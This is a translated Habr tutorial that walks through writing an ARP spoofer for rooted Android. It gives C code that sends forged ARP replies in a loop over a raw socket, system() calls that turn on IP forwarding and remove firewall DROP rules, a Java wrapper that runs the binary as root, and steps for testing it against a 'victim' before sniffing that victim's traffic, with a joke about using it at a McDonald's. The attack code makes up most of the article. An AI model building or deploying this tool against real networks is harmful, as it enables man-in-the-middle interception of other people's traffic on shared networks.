📜 ⬆️ ⬇️

We write ARP Spoofer for Android. Development of Root tools for Android

Here is my first article on this wonderful resource, so do not judge too harshly. Constructive criticism, amendments and additions are welcome.

Since this is my first article here, I suggest starting with dating. It may seem to someone that my nickname (First Row) sounds too pathetic, so I want to clarify the situation, so to speak. I often subscribed to the "First row viewer", which means "the viewer in the first row." But when registering a developer account on Google Play, it turned out that there are too many characters. I had to leave just “First Row”.

Well, we have somewhat deviated from the topic, and many, probably, began to annoy my chatter (and there are still a lot of letters at the bottom). Therefore, I propose to go directly to our topic.
')
First of all, I will say that here we will not understand the IP routing, the work of the ARP protocol and the theory of Spoofing itself (I have seen a couple of excellent articles on Habré on this topic). It is also assumed that you know the C, Java languages ​​and have at least minimal development skills for Android. We proceed immediately to the practice, in our case, to the implementation. First, let's deal with the tools. Personally, I use Eclipse with the ADT plug-in and the Android NDK installed (in our case, most of the code will be written just in the network). Perhaps you will edit the sorts in a notebook and collect pens through the terminal, or use Android Studio, or something else. In this case, it may turn out that some of my recommendations can be omitted. In this article, I want to tell including some of the pitfalls and rakes, which came when he took up his first project for Android.

So, it occurred to us to write a simple ARP Spoofer for Android. What do we need? To begin with, remember that our shell program will be written in Java (we will not touch NativeActivity). But Java will not give us the necessary functionality to implement our plans. “JNI” could have occurred to many. Not. This is also not suitable. In order for our native program to have Root privileges, you will have to start a separate process, and run our program from under the root. If it is quite obvious for users of * nix-like systems, then for the rest I would like to immediately highlight this point so that no further questions arise. Well, with this we decided. Let's write a native program (not a library) that will be run from Java code, under Root. We need superuser privileges to work with Raw sockets, and also to add the necessary rules to iptables, but more on that later.

I propose to start with the most native program. You can create a new project for now and nothing else. Do not rush to support JNI in the project (we will do this after considering several pitfalls). In the meantime, I propose to create our source code, call it arpspoof.c. We will also turn to Android.mk a bit later.

First, let's deal with the program itself. Here I will not give an example of a full-fledged ARP spoofer, which itself knows the necessary MAC addresses. You can finish it to a more decent look by yourself, if necessary. My own task is to give a small example that can help someone save a lot of time (perhaps I didn’t look bad, but when I started, I wouldn’t be disturbed by such an example. This is not about the spoofer itself, but about How to properly file this case under android). So, at the entrance we will take:

1) the IP address of the victim;
2) MAC address of the victim;
3) IP address of the gateway (or by whom you want to “disguise”);
4) Our MAC address (well, or the one to whom you want to "transfer" the traffic of the victim).

We will accept them in the form of keys. Further in a loop with a certain interval (for example, 1 s) we will send an ARP response with the specified addresses. Before proceeding, let's deal with the format of the ARP header (let's look at if_arp.h for this and consider the fields of the desired structure):

struct arphdr { unsigned short int ar_hrd; /* Format of hardware address. */ unsigned short int ar_pro; /* Format of protocol address. */ unsigned char ar_hln; /* Length of hardware address. */ unsigned char ar_pln; /* Length of protocol address. */ unsigned short int ar_op; /* ARP opcode (command). */ #if 0 /* Ethernet looks like this : This bit is variable sized however... */ unsigned char __ar_sha[ETH_ALEN]; /* Sender hardware address. */ unsigned char __ar_sip[4]; /* Sender IP address. */ unsigned char __ar_tha[ETH_ALEN]; /* Target hardware address. */ unsigned char __ar_tip[4]; /* Target IP address. */ #endif }; 

In principle, everything is clear. Let me explain just some meanings:

ar_hrd — ARPHDR_ETHER for Ethernet;
ar_pro - in our case ETH_P_IP;
arp_op - we will send ARP responses, therefore ARPOP_REPLY.

With the rest of the questions, I think, no one should arise, the size of the ip and mac addresses in bytes, and of the addresses themselves.

Well, with the heading ARP sorted out. In our package, it will follow the Ethernet header. Let's take it out too. Look in if_ether.h:

 struct ethhdr { unsigned char h_dest[ETH_ALEN]; /* destination eth addr */ unsigned char h_source[ETH_ALEN]; /* source ether addr */ unsigned short h_proto; /* packet type ID field */ } __attribute__((packed)); 

Here questions can arise only with the h_proto field (protocol). In our case, it will be ETH_P_ARP. For convenience, I combined these two structures into one and replaced the type for IP addresses with char [] with unsigned long, in order to push the address into the required field with the usual assignment. Such will be the entire package structure:

 struct my_arp_packet { unsigned char h_dest[ETH_ALEN]; /* destination eth addr */ unsigned char h_source[ETH_ALEN]; /* source ether addr */ unsigned short h_proto; /* packet type ID field */ unsigned short int ar_hrd; /* Format of hardware address. */ unsigned short int ar_pro; /* Format of protocol address. */ unsigned char ar_hln; /* Length of hardware address. */ unsigned char ar_pln; /* Length of protocol address. */ unsigned short int ar_op; /* ARP opcode (command). */ unsigned char ar_sha[ETH_ALEN]; /* Sender hardware address. */ unsigned long ar_sip; /* Sender IP address. */ unsigned char ar_tha[ETH_ALEN]; /* Target hardware address. */ unsigned long ar_tip; /* Target IP address. */ } __attribute__((packed)); 

And finally, our function for sending ARP responses:

 void arp_reply_send(char *iface_name, unsigned long src_ip, unsigned char *src_mac, unsigned int dest_ip, unsigned char *dest_mac) { struct my_arp_packet arp; //  Ethernet  memcpy(arp.h_dest,dest_mac,ETH_ALEN); memcpy(arp.h_source,src_mac,ETH_ALEN); arp.h_proto=htons(ETH_P_ARP); //  ARP  arp.ar_hln = ETH_ALEN; arp.ar_pln = 4; arp.ar_hrd = htons(ARPHRD_ETHER); arp.ar_pro = htons(ETH_P_IP); arp.ar_op = htons(ARPOP_REPLY); memcpy(arp.ar_sha,src_mac,ETH_ALEN); memcpy(arp.ar_tha,dest_mac,ETH_ALEN); arp.ar_sip=src_ip; arp.ar_tip=dest_ip; //  ,      int sock = socket(PF_PACKET, SOCK_PACKET, htons(ETH_P_ARP)); struct sockaddr adr; strcpy(adr.sa_data, iface_name); adr.sa_family = AF_INET; sendto(sock, (void*)&arp, sizeof(struct my_arp_packet), 0, (struct sockaddr *)&adr, sizeof(struct sockaddr)); close(sock); } 

Now we will write the main function. It's all quite trivial. The only thing I want to draw your attention to calls to system (), where we add the forward accept rule to iptables, allow routing (one in ip_forward). Also, when I transferred my project under 5.x, I found the DROP rules in iptables in the natctrl_FORWARD table. This we also take into account (by the way, this rule, as far as I know, is also found on Android 4.4. I have not seen this in earlier versions).

So our code is:

 int main(int argc, char **argv) { //  IP  MAC    unsigned long dest_ip=inet_addr(argv[1]); unsigned long src_ip=inet_addr(argv[3]); unsigned char dest_mac[ETH_ALEN]; unsigned char src_mac[ETH_ALEN]; str_to_mac(dest_mac, argv[2]); str_to_mac(src_mac, argv[4]); //      iptables system("echo 1 > /proc/sys/net/ipv4/ip_forward"); system("iptables -A FORWARD -j ACCEPT"); //   ,     4.4   system("iptables -D natctrl_FORWARD -j DROP"); system("iptables -A natctrl_FORWARD -j ACCEPT"); while(1) { arp_reply_send(my_interface, src_ip, src_mac, dest_ip, dest_mac); sleep(1); } } 

Also, you may have noticed that as the first parameter of the function to send a response, we send the interface name. You can declare / define the string “wlan0”, you can accept the interface name as a key. Since the program is for phones and tablets, you can get by in advance with a line. I will not give support functions like str_to_mac here, you can familiarize yourself with them by downloading the archive with the source code, or implement it yourself.

Let's get down to writing our Java shell. I think it will not be difficult for anyone present to throw in the xml-file with the same LinearLayout, four EditText'ami and a pair of Button'ov to start and stop. Then create a class, for example, MainActivity, inheriting from the Activity, hang handlers on our buttons (you can download the full source code, link under the cat). Here I will give only the main function that will run our native prog. And before you give her description, it's time to think exactly how (from where we will run it).

The fact is that in order for us to run our program, the executable file must be located in the application folder. That is, for a start, it should get into our package during assembly. Then it should not be thrown out by the APK unpacker when installed on the end device. These are two main points, due to which at the beginning there can be difficulties if the project contains not an executable, but an executable file. Do not forget that by collecting our binary not as a library, but as an executable file, we will get a file with an output that does not correspond to what the library should be called. This means that such a file simply simply does not fall into our package during assembly (in this case, this is the project's lib folder). If you simply add the .so extension, specifying the module name, it will be included in the APK file, but it will be thrown away by the installer on the end device. And we are not allowed to add the lib prefix to the module name. Such is the problem, the sensible description / solution of which I did not find anywhere. Although maybe just looking bad. But perhaps this is also related to the “special features” of such programs, because we are given the JNI interface, and to build a program with a library of unnecessary actions, we are not really required. But what if the project should include executable files? So, we have 2 options, each with its own pros and cons:

1) Do not add JNI support to the project, but create the necessary folders (armeabi, x86 if necessary) in the project libs folder with pens. Compile the code in a different project, and then (! Important) copy each binary into / libs / armeabi or x86 in the following form: libNAME_Program.so.so. A good option, he used it at first. But I still wanted to build all at once with one button from the development environment. Moreover, the main work in my case was just native, and it was very inconvenient to transfer a bunch of my utility binaries and rename them at the same time (or one at a time, depending on how many changes were made and where). The advantage of the method is that if you used, say, ready-made samples, and you will not need to change them in the process (if the work is only on the Java part), then this method will actually be less expensive.

2) Add jni support to the project, everything is as usual, but after describing the assembly of each file, add the following code:
$ (shell mv $ {NDK_APP_DST_DIR} / BINARY NAME $ {NDK_APP_DST_DIR} /libBINARY NAME.so)
and at the very beginning of our Android.mk ask
SHELL: = / bin / sh
Those. right after the build, every binary will be renamed to the format we need. The disadvantage of this method is one - with each build of the project, the binaries are renamed to the original form by the build program itself. In order for our script to work, the last modified file must be Android.mk. That is, before each build of the project you will have to open it, put, for example, a space, then assemble it. The same applies to export to the APK file for the market. We rule Android.mk, save, export. In this case, everything will be fine. Still, when using this method, I recommend monitoring the size of the final APK file, if our files didn’t get there for some reason, its size will be smaller (how much depends on the number of assemblies, whether you use static linking, etc.) but resizing will be anyway).

You can, of course, still upload the necessary files from the server when you start the program or come up with something else in this spirit, but, in my opinion, such approaches have no place in this article. It is also possible to collect pens from the console, with manual assembly of the output file name, we can specify any. But in this case, I repeat, we are talking about work using the development environment. Personally, I stopped at the second method. I use it in the example, the source code of which you can download immediately after the article. You can choose either of the two methods described above, or, if you know some other way, write about it in the comments. Before we finish with the native part, I will give you my Android.mk:

 SHELL:=/bin/sh LOCAL_PATH:= $(call my-dir) include $(CLEAR_VARS) LOCAL_CFLAGS := -std=c99 LOCAL_SRC_FILES := arpspoof.c LOCAL_MODULE := arpspoof include $(BUILD_EXECUTABLE) $(shell mv ${NDK_APP_DST_DIR}/arpspoof ${NDK_APP_DST_DIR}/libarpspoof.so) 

I also want to note that for Android 4.0 and below it is also worth using static linking (-static switch for LOCAL_LDFLAGS), for 4.1 it is better to use dynamic build.

Well, we figured out the build. The method of "storing" our executable file in the package chosen. Rather, the method of hitting that same file in the folder we need. Now I’ll give you the promised function that the handler of our spoof button calls:

 private void start_native_app() { new Thread(new Runnable() { public void run(){ Process suProcess=null; try { suProcess = Runtime.getRuntime().exec("su"); DataOutputStream os = new DataOutputStream(suProcess.getOutputStream()); String command=getApplicationContext().getFilesDir().getParent() + "/lib/libarpspoof.so"; command+= « » + edit1.getText().toString() + « » + edit2.getText().toString() + « » + edit3.getText().toString() + « » + edit4.getText().toString(); os.writeBytes(command + "\n"); os.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } }).start(); } 

Everything is simple here, we start Thread, in which we launch a new process with a command interpreter as root (su) and write our command through the output stream. The command itself will be the full path to our executable file + keys. The full path to the file will be / data / data / PACKET_NAME / lib / NAME_FILE.

So, there is only one question left - how to complete our spoofer? The easiest option is to call from under the root
killall -SIGKILL libarpspoof.so
when you click on another button, designed to complete. You can also catch, say, SIGINT in the program itself and make an exit from the loop in the main. If you are writing a more complex program that interacts with the shell, you can send the pid of the process at startup, then call your own implementation of kill, and pass the received pid as a key. I used this method in Network Utilities in order to make the program less dependent on busybox (not everyone has the killall applet), and the incomplete native program, to put it mildly, is not buzzing. But for our educational implementation and this method will fit. But if you are writing an application that will be used not only by you, I recommend using your own program-terminator (or at least check for the presence of the necessary busybox applet). In general, for this program you can use any version you like. I think that you can cope with writing the handler of the second and final button without me. If suddenly that - we look in sorts, under article. Also, in order to “decorate” the program a little, you can inactivate the start button when you click on it, and again make it active when you press the stop. Or, say, use ToggleButton. This is up to you. My task is to provide the simplest example possible. There is nothing special about littering here, so let's go further. It remains to add the necessary permishny in AndroidManifest. And it will be:

<uses-permission android: name = "android.permission.ACCESS_SUPERUSER" />
<uses-permission android: name = "android.permission.INTERNET" />

Before turning to the final part of the article, I would like to give you a couple of tips for the future:
1) If your program needs to be completed manually, (as in this example), it is better to make sure that the native program is necessarily terminated on exit. For example, in the handler of the exit button from the application.
2) Third-party installation programs for packages (for example, included in some file managers) during installation may not specify execution attributes for executable files included in your program. Itself in due time came on this rake. Best at startup, check the attributes and set manually if necessary.

I know you, as I can not wait to try out our ARP Spoofer. It's time to do it. We put together a project (remember what I said about editing Android.mk), drop the received APK on your favorite rooted phone, drive in IP and MAC addresses, click on the cherished button. On the victim computer, open the terminal and check the ARP nameplate (arp -a). The MAC address of the gateway (or what you specified as the IP address of the sender) should be changed to the MAC address that you specified as the sender's mac. Important - it must be an address existing in this network (device address, for example). But I think you know it perfectly well without me. In this case, by running any sniffer (for example, a member of Network Utilities), you will see packets going from the “victim” to the gateway). Therefore, the task is completed. ARP Spoofer is written and works great. It remains only to write a simple sniffer and you can go to the nearest McDonald (a joke, of course).

To see an example of a full-fledged similar program with a bunch of "tricks" and features, you can download Network Utilities from the link below. And yes, in the description on the market, many opportunities and “features” had to be dropped, leaving only ping, traceroute and similar harmless trivia. For example, you can take as a basis the Arp spoofer that goes in there and try to “finish” our modest example to this level, making it “massive”, add the “recognition” algorithms for the addresses we need. But this is so, the groundwork for the future, suddenly someone will be interested. On this, perhaps, it is time to say goodbye. If the article is to the liking of the community, perhaps in the future I will write more. For example, about creating a sniffer, or a network scanner for android.

And finally, here are links:

Link to the archive with spoofer samples: rghost.ru/87t2Y58Nn
Promised link to Network Utilities (not advertising): play.google.com/store/apps/details?id=com.myprog.netutils

Thanks for attention.

Source: https://habr.com/ru/post/253321/


All Articles